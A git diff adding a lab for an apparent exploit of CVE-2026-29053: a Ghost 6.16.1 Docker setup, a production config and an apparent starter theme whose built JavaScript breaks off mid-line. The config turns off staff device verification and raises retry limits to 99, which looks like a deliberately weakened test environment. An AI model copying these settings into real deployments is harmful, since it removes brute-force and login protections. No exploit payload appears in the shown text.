diff --git a/data/exploits/CVE-2026-29053/lab/config.production.json b/data/exploits/CVE-2026-29053/lab/config.production.json new file mode 100644 index 0000000000000..98ac23aa116b3 --- /dev/null +++ b/data/exploits/CVE-2026-29053/lab/config.production.json @@ -0,0 +1,98 @@ +{ + "url": "http://localhost:2368", + "server": { + "port": 2368, + "host": "::" + }, + "logging": { + "transports": [ + "file", + "stdout" + ] + }, + "process": "systemd", + "paths": { + "contentPath": "/var/lib/ghost/content" + }, + "security": { + "staffDeviceVerification": false + }, + "mail": { + "transport": "SMTP", + "options": { + "host": "", + "port": 587, + "auth": { + "user": "", + "pass": "" + } + } + }, + "spam": { + "user_login": { + "minWait": 600000, + "maxWait": 604800000, + "freeRetries": 99 + }, + "user_reset": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "user_verification": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "send_verification_code": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "global_reset": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "global_block": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "private_block": { + "minWait": 3600000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + }, + "webmentions_block": { + "minWait": 100000, + "maxWait": 100000, + "lifetime": 3600, + "freeRetries": 99 + }, + "email_preview_block": { + "minWait": 360000, + "maxWait": 360000, + "lifetime": 3600, + "freeRetries": 99 + }, + "otc_verification_enumeration": { + "minWait": 600000, + "maxWait": 43200000, + "lifetime": 43200, + "freeRetries": 99 + }, + "otc_verification": { + "minWait": 300000, + "maxWait": 3600000, + "lifetime": 3600, + "freeRetries": 99 + } + } +} \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/lab/docker-compose.yml b/data/exploits/CVE-2026-29053/lab/docker-compose.yml new file mode 100644 index 0000000000000..66f0b9e1b953d --- /dev/null +++ b/data/exploits/CVE-2026-29053/lab/docker-compose.yml @@ -0,0 +1,29 @@ +services: + + ghost: + image: ghost:6.16.1 + restart: always + ports: + - 2368:2368 + environment: + database__client: mysql + database__connection__host: db + database__connection__user: root + database__connection__password: example + database__connection__database: ghost + url: http://localhost:2368 + port: 2368 + volumes: + - ./config.production.json:/var/lib/ghost/config.production.json + + db: + image: mariadb:11.4.3 + restart: always + environment: + MYSQL_ROOT_PASSWORD: example + ports: + - 3306:3306 + +volumes: + ghost: + db: \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/LICENSE b/data/exploits/CVE-2026-29053/theme/LICENSE new file mode 100644 index 0000000000000..d24c76dee6e7c --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/LICENSE @@ -0,0 +1,22 @@ +Copyright (c) 2013-2026 Ghost Foundation + +Permission is hereby granted, free of charge, to any person +obtaining a copy of this software and associated documentation +files (the "Software"), to deal in the Software without +restriction, including without limitation the rights to use, +copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the +Software is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES +OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT +HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +OTHER DEALINGS IN THE SOFTWARE. diff --git a/data/exploits/CVE-2026-29053/theme/README.md b/data/exploits/CVE-2026-29053/theme/README.md new file mode 100644 index 0000000000000..fff7fc0dc174b --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/README.md @@ -0,0 +1,125 @@ +# Ghost Starter Theme + +A starter framework for Ghost themes! Click **Use this template** to create a copy of this repo for everything you need to get started developing a custom Ghost theme. + +  + +## First time using a Ghost theme? + +Ghost uses a simple templating language called [Handlebars](http://handlebarsjs.com/) for its themes. + +We've documented this starter theme pretty heavily so that it should be possible to work out what's going on just by reading the code and the comments. We also have a robust set of resources to help you build awesome custom themes: + +- The official [theme documentation](https://ghost.org/docs/themes) is the complete resource for everything you need to know about Ghost theme development +- [Tutorials](https://ghost.org/tutorials/) offer a step-by-step guide to building the most common features in Ghost themes +- The [Ghost VS Code extension](https://marketplace.visualstudio.com/items?itemName=TryGhost.ghost) speeds up theme development and provides quick access to helpful info +- All of Ghost's official themes are [open source](https://github.com/tryghost) and are a great reference for learning how to create a theme + +  + +## Starter theme features + +🔁 Livereload by default. See changes instantly in the browser whenever you save a file. + +🔎 Optimized for VS Code. Find the files you're looking for more easily. + +🗃️ Write modern JavaScript. Use ESM out of the box to write more manageable Javascript. + +🗜️ Assets optimized automatically. JavaScript and CSS are minified and transpiled by default. + +👟 Fast compile times, powered by [Rollup](https://rollupjs.org). + +🦋 Write next-gen CSS for today's browsers with [PostCSS](https://postcss.org/). Add the CSS tools you love via [`rollup.config.js`](rollup.config.js). + +🚢 Ghost's [GH Deploy Action](.github/workflows/deploy-theme.yml) included by default. [Learn more how to deploy your theme automatically](https://github.com/TryGhost/action-deploy-theme) + +➕ Extensible by design. Rollup's configuration structure makes it easy to add [any number of plugins easily](https://github.com/rollup/plugins). + +  + +## Theme structure + +The main files are: + +- [`default.hbs`](default.hbs) - The main template file +- [`index.hbs`](index.hbs) - Used for the home page +- [`post.hbs`](post.hbs) - Used for individual posts +- [`page.hbs`](page.hbs) - Used for individual pages +- [`tag.hbs`](tag.hbs) - Used for tag archives +- [`author.hbs`](author.hbs) - Used for author archives + +One neat trick is that you can also create custom one-off templates just by adding the slug of a page to a template file. For example: + +- `page-about.hbs` - Custom template for the `/about/` page +- `tag-news.hbs` - Custom template for `/tag/news/` archive +- `author-jamie.hbs` - Custom template for `/author/jamie/` archive + +  + +## Development guide + +The Starter theme provides a first-class development experience out of the box. + +  + +### Setup + +To see realtime changes during development, symlink the Starter theme folder to the `content/themes` folder in your local Ghost install. + +```bash +ln -s /path/to/starter /ghost/content/themes/starter +``` + +Restart Ghost and select the Starter theme from **Settings**. + +From the theme's root directory, install the dependencies: + +```bash +npm install +``` + +If Node isn't installed, follow the [official Node installation guide](https://nodejs.org/). + +  + +### Start development mode + +From the Starter theme folder, start development mode: + +```bash +npm run dev +``` + +Changes you make to your styles, scripts, and Handlebars files will show up automatically in the browser. CSS and Javascript will be compiled and output to the `built` folder. + +Press `ctrl + c` in the terminal to exit development mode. + +  + +### Build, zip, and test your theme + +Compile your CSS and JavaScript assets for production with the following command: + +```bash +npm run build +``` + +Create a zip archive: + +```bash +npm run zip +``` + +Use `gscan` to test your theme for compatibility with Ghost: + +```bash +npm run test +``` + +  + + + +## Copyright & License + +Copyright (c) 2013-2026 Ghost Foundation - Released under the [MIT license](LICENSE). diff --git a/data/exploits/CVE-2026-29053/theme/assets/built/index.css b/data/exploits/CVE-2026-29053/theme/assets/built/index.css new file mode 100644 index 0000000000000..9f2337990fa6b --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/assets/built/index.css @@ -0,0 +1,2 @@ +:root{--color-primary:var(--ghost-accent-color,#3eb0ef);--color-base:#131313;--color-border:#ddd;--color-bg:#f5f5f5;--color-success:#80b912;--color-error:#f05230;--font-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;--font-serif:Georgia,Times,serif;--font-mono:Menlo,Courier,monospace;--font-light:100;--font-normal:400;--font-bold:700;--font-heavy:800;--xlarge:1680px;--large:1280px;--medium:980px;--small:740px;--xsmall:480px;--height:4rem;--margin:2rem;--radius:0.5rem}*,:after,:before{box-sizing:border-box}html{-webkit-tap-highlight-color:rgba(0,0,0,0);font-size:62.5%}body{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background:#fff;color:#464646;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif;font-family:var(--font-sans-serif);font-size:1.5rem;font-style:normal;font-weight:400;line-height:1.6em;min-height:100vh;scroll-behavior:smooth}blockquote,body,dd,dl,figcaption,figure,form,hr,li,ol,p,pre,table,ul,video{margin:0;padding:0}ol[class],ul[class]{list-style:none;padding:0}img{display:block;height:auto;max-width:100%}button,input,select,textarea{-webkit-appearance:none;font:inherit}fieldset{border:0;margin:0;padding:0}label{font-size:.9em;font-weight:700}hr,label{display:block}hr{border:0;border-top:1px solid;height:1px;opacity:.2;position:relative;width:100%}::-moz-selection{background:#cbeafb;text-shadow:none}::selection{background:#cbeafb;text-shadow:none}mark{background-color:#fdffb6}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}ul:not([class]) li+li{margin-top:.6em}a:not([class]){-webkit-text-decoration-skip:ink;color:#3eb0ef;color:var(--color-primary);text-decoration-skip-ink:auto}a[class]{color:inherit;-webkit-text-decoration:none;text-decoration:none;transition:.4s ease}a[class]:hover{transition:.2s ease}h1,h2,h3,h4,h5,h6{font-weight:700;line-height:1.15em;margin:0}h1{font-size:4.6rem;letter-spacing:-.5px}@media (max-width:500px){h1{font-size:2.7rem}}h2{font-size:3.6rem}@media (max-width:500px){h2{font-size:2.2rem}}h3{font-size:3.2rem}@media (max-width:500px){h3{font-size:1.8rem}}h4{font-size:2.6rem}h5{font-size:2.4rem}h6{font-size:2.2rem}@media (prefers-reduced-motion:reduce){*{animation-duration:.01ms!important;animation-iteration-count:1!important;scroll-behavior:auto!important;transition-duration:.01ms!important}}.gh-input,.gh-textarea{background:#f5f5f5;background:var(--color-bg);border:1px solid #ddd;border:1px solid var(--color-border);border-radius:.5rem;border-radius:var(--radius);color:inherit;display:block;outline:0;padding:0 .6em;-webkit-text-decoration:none;text-decoration:none;width:100%}.gh-input:focus{border-color:#3eb0ef;border-color:var(--color-primary)}.gh-select{height:4rem;height:var(--height);padding-right:4rem;padding-right:var(--height);text-overflow:ellipsis}.gh-select option{background:#f5f5f5;background:var(--color-bg);color:#3eb0ef;color:var(--color-primary)}.gh-select:focus::-ms-value{background-color:transparent}.gh-select::-ms-expand{display:none}.gh-input,.gh-select{height:4rem;height:var(--height)}.gh-textarea{padding:.3em .6em;resize:vertical}.gh-check{display:block;margin-right:-2em;opacity:0;width:1em;z-index:-1}.gh-check+label{align-items:center;color:#131313;color:var(--color-base);cursor:pointer;display:flex;font-size:1em;font-weight:400;font-weight:var(--font-normal);padding-left:calc(2.4rem + .75em);padding-left:calc(var(--height)*.6 + .75em);padding-right:2rem;position:relative;-webkit-user-select:none;-moz-user-select:none;user-select:none}.gh-check+label:before{background:#f5f5f5;background:var(--color-bg);border:1px solid #ddd;border:1px solid var(--color-border);border-radius:.5rem;border-radius:var(--radius);content:"";display:inline-block;height:2.4rem;height:calc(var(--height)*.6);line-height:2.24rem;line-height:calc(var(--height)*.56);margin-right:1rem;text-align:center;width:2.4rem;width:calc(var(--height)*.6)}.gh-check:checked+label:before{background:#3eb0ef;background:var(--color-primary);border-color:#3eb0ef;border-color:var(--color-primary);color:#f5f5f5;color:var(--color-bg);content:"✓"}.gh-check:focus+label:before{border-color:#3eb0ef;border-color:var(--color-primary);box-shadow:0 0 0 1px #3eb0ef;box-shadow:0 0 0 1px var(--color-primary)}.gh-check+label:before{border-radius:.5rem;border-radius:var(--radius);border-radius:100%}.gh-button{-webkit-appearance:none;-moz-appearance:none;appearance:none;border:0;border-radius:.5rem;border-radius:var(--radius);cursor:pointer;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif;font-family:var(--font-sans-serif);font-size:1.4rem;font-weight:400;font-weight:var(--font-normal);height:4rem;height:var(--height);line-height:4rem;line-height:var(--height);min-width:75px;padding:0 2rem;text-align:center;-webkit-text-decoration:none;text-decoration:none;transition:.4s ease;white-space:nowrap}.gh-button.gh-button-fit{width:100%}.gh-button.gh-button-small{font-size:1.2rem;height:3.6rem;height:calc(var(--height)*.9);line-height:3.6rem;line-height:calc(var(--height)*.9);padding:0 1.5rem}.gh-button.gh-button-large{font-size:1.7rem;height:4.8rem;height:calc(var(--height)*1.2);line-height:4.8rem;line-height:calc(var(--height)*1.2);padding:0 2.5rem}.gh-button.gh-button-disabled,.gh-button:disabled{opacity:.4;pointer-events:none}.gh-button{background-color:transparent;box-shadow:inset 0 0 0 2px currentColor;color:inherit}.gh-button:hover{box-shadow:inset 0 0 0 2px #3eb0ef;box-shadow:inset 0 0 0 2px var(--color-primary);color:#3eb0ef!important;color:var(--color-primary)!important;-webkit-text-decoration:none;text-decoration:none;transition:.2s ease}.gh-button.gh-button-primary{box-shadow:none;color:#fff!important}.gh-button.gh-button-primary,.gh-button.gh-button-primary:hover{background-color:#3eb0ef;background-color:var(--color-primary)}.gh-head{background:inherit;font-size:1.6rem;line-height:1.3em;padding:3vmin 4vmin}.gh-head a{color:inherit;-webkit-text-decoration:none;text-decoration:none}.gh-head-inner{grid-gap:40px;display:grid;grid-auto-flow:row dense;grid-template-columns:1fr auto 1fr}.gh-head-brand{align-items:center;display:flex;grid-column-start:2;max-width:200px;text-align:center;word-break:break-all}.gh-head-logo{display:block;font-size:2.2rem;font-weight:600;line-height:1.2em;padding:10px 0}.gh-head-logo img{max-height:40px}.gh-head-menu{align-items:center;display:flex}.gh-head-menu .nav{align-items:center;display:inline-flex;flex-wrap:wrap;list-style:none}.gh-head-menu .nav li{margin:0 1.5vmin 0 0;padding:0}.gh-head-menu .nav a{display:inline-block;padding:5px 0}.gh-head-menu .nav-current a{box-shadow:inset 0 -1px 0 0 currentcolor}.gh-head-actions{display:flex;list-style:none;text-align:right}.gh-head-actions,.gh-head-actions-list{align-items:center;justify-content:flex-end}.gh-head-actions-list{display:inline-flex;flex-wrap:wrap;gap:10px}.gh-head-actions-list a:not([class]){display:inline-block;margin:0 0 0 1.5vmin;padding:5px 0}.gh-burger{cursor:pointer;display:none;position:relative}.gh-burger-box{align-items:center;display:flex;height:33px;justify-content:center;position:relative;width:33px}.gh-burger-inner{height:100%;width:100%}.gh-burger-box:before{transition:transform .3s cubic-bezier(.2,.6,.3,1),width .3s cubic-bezier(.2,.6,.3,1)}.gh-burger-box:before,.gh-burger-inner:after,.gh-burger-inner:before{background:currentcolor;bottom:0;content:"";display:block;height:1px;left:0;margin:auto;position:absolute;top:0;width:100%;will-change:transform,width}.gh-burger-inner:after,.gh-burger-inner:before{transition:transform .25s cubic-bezier(.2,.7,.3,1),width .25s cubic-bezier(.2,.7,.3,1)}.gh-burger-inner:before{transform:translatey(-6px)}.gh-burger-inner:after{transform:translatey(6px)}body:not(.gh-head-open) .gh-burger:hover .gh-burger-inner:before{transform:translatey(-8px)}body:not(.gh-head-open) .gh-burger:hover .gh-burger-inner:after{transform:translatey(8px)}.gh-head-open .gh-burger-box:before{transform:translatex(19px);transition:transform .2s cubic-bezier(.2,.7,.3,1),width .2s cubic-bezier(.2,.7,.3,1);width:0}.gh-head-open .gh-burger-inner:before{transform:translatex(6px) rotate(135deg);width:26px}.gh-head-open .gh-burger-inner:after{transform:translatex(6px) rotate(-135deg);width:26px}.gh-head-brandnavactions .gh-head-brand{grid-column-start:1}.gh-head-brandnav .gh-container{grid-gap:0;grid-template-columns:auto max-content max-content}.gh-head-brandnav .gh-head-brand{grid-column-start:1}.gh-head-brandnav .gh-head-menu{margin-left:40px}.gh-head-brandnav .gh-head-menu .nav li{margin:0 0 0 1.5vmin;padding:0}.gh-head-stacked .gh-container{grid-gap:2vmin;grid-template-columns:1fr}.gh-head-stacked .gh-head-brand{display:flex;grid-column-start:1;justify-content:center;max-width:none;text-align:center;width:100%}.gh-head-stacked .gh-head-actions,.gh-head-stacked .gh-head-actions-list,.gh-head-stacked .gh-head-menu{justify-content:center}.gh-head-stacked .gh-head-actions a:first-child svg{margin-left:0}@media (max-width:900px){.gh-burger{display:inline-block}#gh-head{overflow:hidden;transition:all .4s ease-out}#gh-head .gh-head-inner{grid-template-columns:1fr;height:100%}#gh-head .gh-head-brand{align-items:center;display:flex;grid-column-start:auto;justify-content:space-between;max-width:none;position:relative;-webkit-user-select:none;-moz-user-select:none;user-select:none;z-index:10}#gh-head .gh-head-logo{font-size:2.2rem}#gh-head .gh-head-logo img{max-height:40px}#gh-head .gh-head-menu{align-items:center;align-self:center;display:flex;flex-direction:column;font-size:3.6rem;font-weight:300;line-height:1.1em;margin:0 0 10vh;text-align:center}#gh-head .gh-head-menu .nav li{margin:5px 0}#gh-head .gh-head-menu .nav a{padding:8px 0}#gh-head .gh-head-menu .nav{align-items:center;display:flex;flex-direction:column}#gh-head .gh-head-actions{justify-content:center;padding:20px 0;text-align:left}#gh-head .gh-head-actions a{margin:0 10px}#gh-head .gh-head-actions,#gh-head .gh-head-menu{display:none}.gh-head-open{height:100vh;overflow:hidden}.gh-head-open #gh-head{bottom:0;left:0;overflow-y:scroll;position:fixed;right:0;top:0;z-index:900}.gh-head-open #gh-head .gh-head-inner{grid-template-rows:auto 1fr auto}.gh-head-open #gh-head .gh-head-actions,.gh-head-open #gh-head .gh-head-menu{display:flex}}@media (max-width:600px){#gh-head .gh-head-menu{font-size:6vmin}}.gh-canvas,.kg-width-full.kg-content-wide{--gap:4vw;--main:min(var(--content-width,720px),100% - var(--gap) * 2);--wide:minmax(0,calc((var(--container-width, 1200px) - var(--content-width, 720px))/2));--full:minmax(var(--gap),1fr);display:grid;grid-template-columns:[full-start] minmax(4vw,1fr) [wide-start] minmax(0,240px) [main-start] min(720px,100% - 4vw * 2) [main-end] minmax(0,240px) [wide-end] minmax(4vw,1fr) [full-end];grid-template-columns:[full-start] var(--full) [wide-start] var(--wide) [main-start] var(--main) [main-end] var(--wide) [wide-end] var(--full) [full-end]}.gh-canvas>*{grid-column:main-start/main-end}.kg-content-wide>div,.kg-width-wide{grid-column:wide-start/wide-end}.kg-width-full{grid-column:full-start/full-end}.kg-width-full img{width:100%}.gh-content>*+*{margin-top:4vmin}.gh-content [id]:not(:first-child){margin:1.5em 0 0}.gh-content>[id]+*{margin-top:1.5rem}.gh-content [id]+.kg-card,.gh-content blockquote+.kg-card{margin-top:6vmin}.gh-canvas>blockquote,.gh-canvas>dl,.gh-canvas>ol,.gh-canvas>p,.gh-canvas>ul{font-family:Georgia,Times,serif;font-family:var(--font-serif);font-size:2rem;font-weight:400;line-height:1.6em}.gh-content>dl,.gh-content>ol,.gh-content>ul{padding-left:1.9em}.gh-content hr{margin-top:6vmin}.gh-content hr+*{margin-top:6vmin!important}.gh-content blockquote{font-style:italic;position:relative}.gh-content blockquote:before{background:#3eb0ef;background:var(--color-primary);bottom:0;content:"";left:-1.5em;position:absolute;top:0;width:.3rem}@media (max-width:650px){.gh-canvas blockquote,.gh-canvas dl,.gh-canvas ol,.gh-canvas p,.gh-canvas ul{font-size:1.8rem}.gh-content blockquote:before{left:-4vmin}}.gh-content .kg-card+:not(.kg-card),.gh-content :not(.kg-card):not([id])+.kg-card{margin-top:6vmin}figcaption{color:rgba(0,0,0,.5);font-size:1.3rem;font-weight:600;line-height:1.4em;padding:1.5rem 1.5rem 0;text-align:center}figcaption strong{color:rgba(0,0,0,.8)}.gh-canvas :not(pre) code{background:#f0f6f9;border:1px solid #e1eaef;border-radius:.25em;color:#dc0050;font-size:.9em;font-weight:400!important;line-height:1em;padding:.15em .4em;vertical-align:middle}.gh-canvas>pre{background:hsla(0,0%,100%,.8);border-radius:5px;box-shadow:0 2px 6px -2px rgba(0,0,0,.1),0 0 1px rgba(0,0,0,.4);overflow:scroll;padding:16px 20px}.kg-embed-card{align-items:center;display:flex;flex-direction:column;width:100%}.kg-embed-card>:where(iframe[src*="youtube.com"],iframe[src*="vimeo.com"]){aspect-ratio:16/9;height:auto;width:100%}.kg-image-card img{margin:auto}.kg-width-full.kg-card-hascaption{display:grid;grid-template-columns:inherit}.kg-width-wide.kg-card-hascaption img{grid-column:wide-start/wide-end}.kg-width-full.kg-card-hascaption img{grid-column:1/-1}.kg-width-full.kg-card-hascaption figcaption{grid-column:main-start/main-end}.gh-content table{border-collapse:collapse;width:100%}.gh-content th{font-size:.75em;padding:.5em .8em;text-align:left;text-transform:uppercase}.gh-content td{padding:.4em .7em}.gh-content tbody tr:nth-child(odd){background-color:rgba(0,0,0,.1);padding:1px}.gh-content tbody tr:nth-child(2n+2) td:last-child{box-shadow:inset 1px 0 rgba(0,0,0,.1),inset -1px 0 rgba(0,0,0,.1)}.gh-content tbody tr:nth-child(2n+2) td{box-shadow:inset 1px 0 rgba(0,0,0,.1)}.gh-content tbody tr:last-child{border-bottom:1px solid rgba(0,0,0,.1)}.gh-readmore{font-size:2.6rem;padding:8vmin 4vmin}.gh-readmore-inner{grid-gap:8vmin;display:grid;grid-template-columns:1fr 1fr}.gh-readmore-prev{justify-content:flex-end;text-align:right}.gh-readmore a{color:currentColor;display:flex;-webkit-text-decoration:none;text-decoration:none}.gh-readmore h4{font-size:inherit;width:100%}.gh-readmore svg{display:inline-block;height:1em;margin:.15em 0 0;vertical-align:middle}.gh-readmore h4+svg,.gh-readmore svg+h4{margin-left:2vmin}@media (max-width:700px){.gh-readmore{font-size:1.6rem}.gh-readmore svg{margin:.1em 0 0}}.gh-auth-form{margin:0 auto 10vmin;max-width:600px;text-align:center;width:100%}.gh-auth-title{font-size:4.2rem;margin:0 0 .1em}.gh-auth-form p{color:rgba(0,0,0,.6);font-size:1.7rem;margin:10px 0 4vmin}.gh-auth-form p small{display:inline-block;font-size:1.4rem;margin:15px 0 0}.gh-auth-box{align-items:center;display:flex;justify-content:space-between;margin:0 auto;max-width:460px}.gh-auth-box .gh-button{margin-left:10px}@media (max-width:600px){.gh-auth-box{flex-direction:column;max-width:400px}.gh-auth-box .gh-button{margin:15px 0 0;width:100%}}form[data-members-form] .gh-button-loader,form[data-members-form] .message-error,form[data-members-form] .message-success{display:none}.gh-button-content{min-width:100px}.message-error svg,.message-success svg{height:15px;margin-right:5px;position:relative;top:-1px;width:15px}.message-success svg{fill:#fff}.message-error svg{fill:#f05230;fill:var(--color-error)}form[data-members-form].error .message-error,form[data-members-form].success .message-success{background:#131313;background:var(--color-base);border-radius:.5rem;border-radius:var(--radius);color:#fff;font-size:1.4rem;font-weight:500;left:4vmin;line-height:1.5em;margin:0 auto;max-width:calc(1400px - 8vmin);padding:10px 0;position:fixed;right:4vmin;text-align:center;top:20px;z-index:9999}form[data-members-form].success .message-success{background:#80b912;background:var(--color-success)}form[data-members-form].error .message-error{background:#fff;box-shadow:0 0 0 1px #f05230;box-shadow:var(--color-error) 0 0 0 1px;color:#f05230;color:var(--color-error)}form[data-members-form] .gh-button{min-width:120px;position:relative}form[data-members-form].loading .gh-button-content{visibility:hidden}form[data-members-form].loading .gh-button-loader{bottom:-30%;display:inline-block;left:50%;margin:0 0 0 -19px;position:absolute;transform:scale(.6)}.gh-button-loader svg path,.gh-button-loader svg rect{fill:#fff}form[data-members-form].error .message-error,form[data-members-form].success .message-success{display:block}.gh-error{display:flex;flex:1 0 auto;flex-direction:column;justify-content:center;padding-bottom:2vmin}.gh-error-content{flex:1 0 auto;text-align:center}.gh-error-code{font-size:14vmin;margin:0}.gh-error-description{font-size:4vmin;font-weight:300;line-height:1.2em;margin:0 auto;max-width:600px;opacity:.6;padding:0 2rem}.gh-error-link{display:block;font-size:1.6rem;margin-top:4vmin}.gh-error-stack{margin:0 auto;max-width:600px;padding:8vmin 0;text-align:left}.gh-error-stack-list{font-size:1.4rem;margin:4vmin 0 0}.gh-error-stack-list>li{border-top:1px solid rgba(0,0,0,.1);margin:0;padding:2rem 0}.gh-error-stack-function{color:red;font-size:1.8rem;margin:0 0 .5em}.gh-foot{align-items:center;display:flex;justify-content:center;padding:8vmin 4vmin 4vmin}.gh-foot .gh-container{width:auto}.gh-foot a{color:inherit}.gh-foot-menu{display:flex}.gh-foot-menu,.gh-foot-menu .nav{align-items:center;justify-content:center}.gh-foot-menu .nav{display:inline-flex;flex-wrap:wrap;font-size:1.8rem;list-style:none}.gh-foot-menu .nav li{margin:0 1.5vmin;padding:0}.gh-foot-menu .nav a{box-shadow:inset 0 -1px 0 0 currentcolor;display:inline-block;padding:3px 0;-webkit-text-decoration:none;text-decoration:none}.gh-foot-meta{font-size:1.5rem;margin:2rem 0;opacity:.75;text-align:center}@media (max-width:700px){.gh-foot-menu .nav{font-size:1.6rem}}a.gh-powered,a.gh-powered:hover{align-items:center;background:#fff;border:none;border-radius:5px;box-shadow:0 0 0 1px rgba(0,0,0,.1),0 1px 3px rgba(0,0,0,.08);color:#383838;cursor:pointer;display:inline-flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif;font-size:12px;font-weight:600;letter-spacing:-.3px;line-height:12px;padding:6px 9px 6px 6px;-webkit-text-decoration:none;text-decoration:none}a.gh-powered svg{height:16px;margin:0 6px 0 0;width:16px}.gh-pagination .pagination{display:flex;justify-content:space-between;margin-bottom:4vmin;margin-top:4vmin}.gh-post-comments{margin-bottom:4vmin;margin-top:8vmin}.gh-viewport,html{background:#fff;display:flex;flex-direction:column;min-height:100vh}.gh-main{display:flex;flex:1 0 auto;flex-direction:column}.gh-page{padding:0 4vmin}.gh-article,.gh-postfeed{padding:8vmin 0}.gh-postfeed{grid-gap:4.8vmin 4vmin;display:grid;gap:4.8vmin 4vmin;grid-template-columns:repeat(auto-fit,minmax(min(350px,100%),1fr))}.gh-postfeed>:first-child{grid-column:1/-1}.gh-container{margin:0 auto;max-width:1200px;width:100%}.gh-head-actions a:not(.gh-button){align-items:center;display:inline-flex;margin:0;padding:10px}.gh-head-actions a svg{fill:currentcolor;height:1.8rem}.gh-head-actions a:first-child svg{margin-left:20px}.gh-head-actions a:last-child svg{height:2rem}.gh-card-link{display:flex;flex-direction:column}.gh-card-image{aspect-ratio:1/1;margin-bottom:4vmin;-o-object-fit:cover;object-fit:cover;width:100%}.gh-card-image:first-of-type{aspect-ratio:16/9}.gh-card-meta{display:block;font-size:1.4rem;letter-spacing:.5px;line-height:1.2em;margin:0 0 1rem;opacity:.8;text-transform:uppercase}.gh-card-content{font-size:1.6rem;margin:0 auto;max-width:720px;text-align:center}.gh-card-content p{margin:1.2rem 0;padding:0 3vmin}.gh-card-content>strong{box-shadow:inset 0 -1px 0 0 currentColor;display:inline-block;font-weight:500;opacity:.75;padding:1px 0}.gh-page-head{margin:0 auto;padding:8vmin 0 4vmin;text-align:center}.gh-page-image{margin:4vmin 0 0}.gh-page-head>p{font-size:1.3em;line-height:1.4em;margin:.3em auto 0;max-width:720px;opacity:.5;padding:0 6vmin}@media (max-width:700px){.gh-page-head>p{font-size:1.6rem}}.gh-header{padding:0 0 8vmin;text-align:center}.gh-post-meta{display:block;font-size:1.4rem;letter-spacing:.5px;margin:0 0 1rem;opacity:.8;text-transform:uppercase}.gh-excerpt{margin:1rem 0 0}.gh-feature-image{grid-column:wide-start/wide-end;margin:8vmin 0 0;width:100%}.gh-feature-image img{margin-left:auto;margin-right:auto;width:100%}.gh-post-footer{margin:2rem 0}.gh-author-image{border-radius:100%;height:12vmin;margin:0 auto 1.5em;-o-object-fit:cover;object-fit:cover;overflow:hidden;width:12vmin}.gh-author-meta{font-size:1.2em;margin:2vmin 0 0}.gh-author-links{align-items:center;display:flex;justify-content:center}.gh-author-links a{align-items:center;display:inline-flex;margin:0 .75vmin;position:relative}.gh-author-links a+a:before{background:rgba(0,0,0,.3);content:"";display:block;height:1em;margin:0 1.25vmin 0 0;transform:rotate(20deg);width:1px}@media (max-width:700px){.gh-author-meta{font-size:1.6rem}} +/*# sourceMappingURL=index.css.map */ \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/assets/built/index.js b/data/exploits/CVE-2026-29053/theme/assets/built/index.js new file mode 100644 index 0000000000000..741a0ef89e0bf --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/assets/built/index.js @@ -0,0 +1,2 @@ +!function(e,t){e&&!e.getElementById("livereloadscript")&&((t=e.createElement("script")).async=1,t.src="//"+(self.location.host||"localhost").split(":")[0]+":35730/livereload.js?snipver=1",t.id="livereloadscript",e.getElementsByTagName("head")[0].appendChild(t))}(self.document),function(){"use strict";var e;let t=null===(e=document.querySelector('link[rel="next"]'))||void 0===e?void 0:e.getAttribute("href");document.querySelector(".gh-burger").addEventListener("click",(function(){document.body.classList.toggle("gh-head-open")})),function(){if(!t)return;new IntersectionObserver(((e,r)=>{try{e.forEach((e=>{e.isIntersecting&&t&&async function(e){try{var t;const r=await fetch(e);if(!r.ok)throw new Error("Failed to fetch page");const o=await r.text(),n=(new DOMParser).parseFromString(o,"text/html");return{posts:n.querySelectorAll(".post"),nextLink:null===(t=n.querySelector('link[rel="next"]'))||void 0===t?void 0:t.getAttribute("href")}}catch(e){throw new 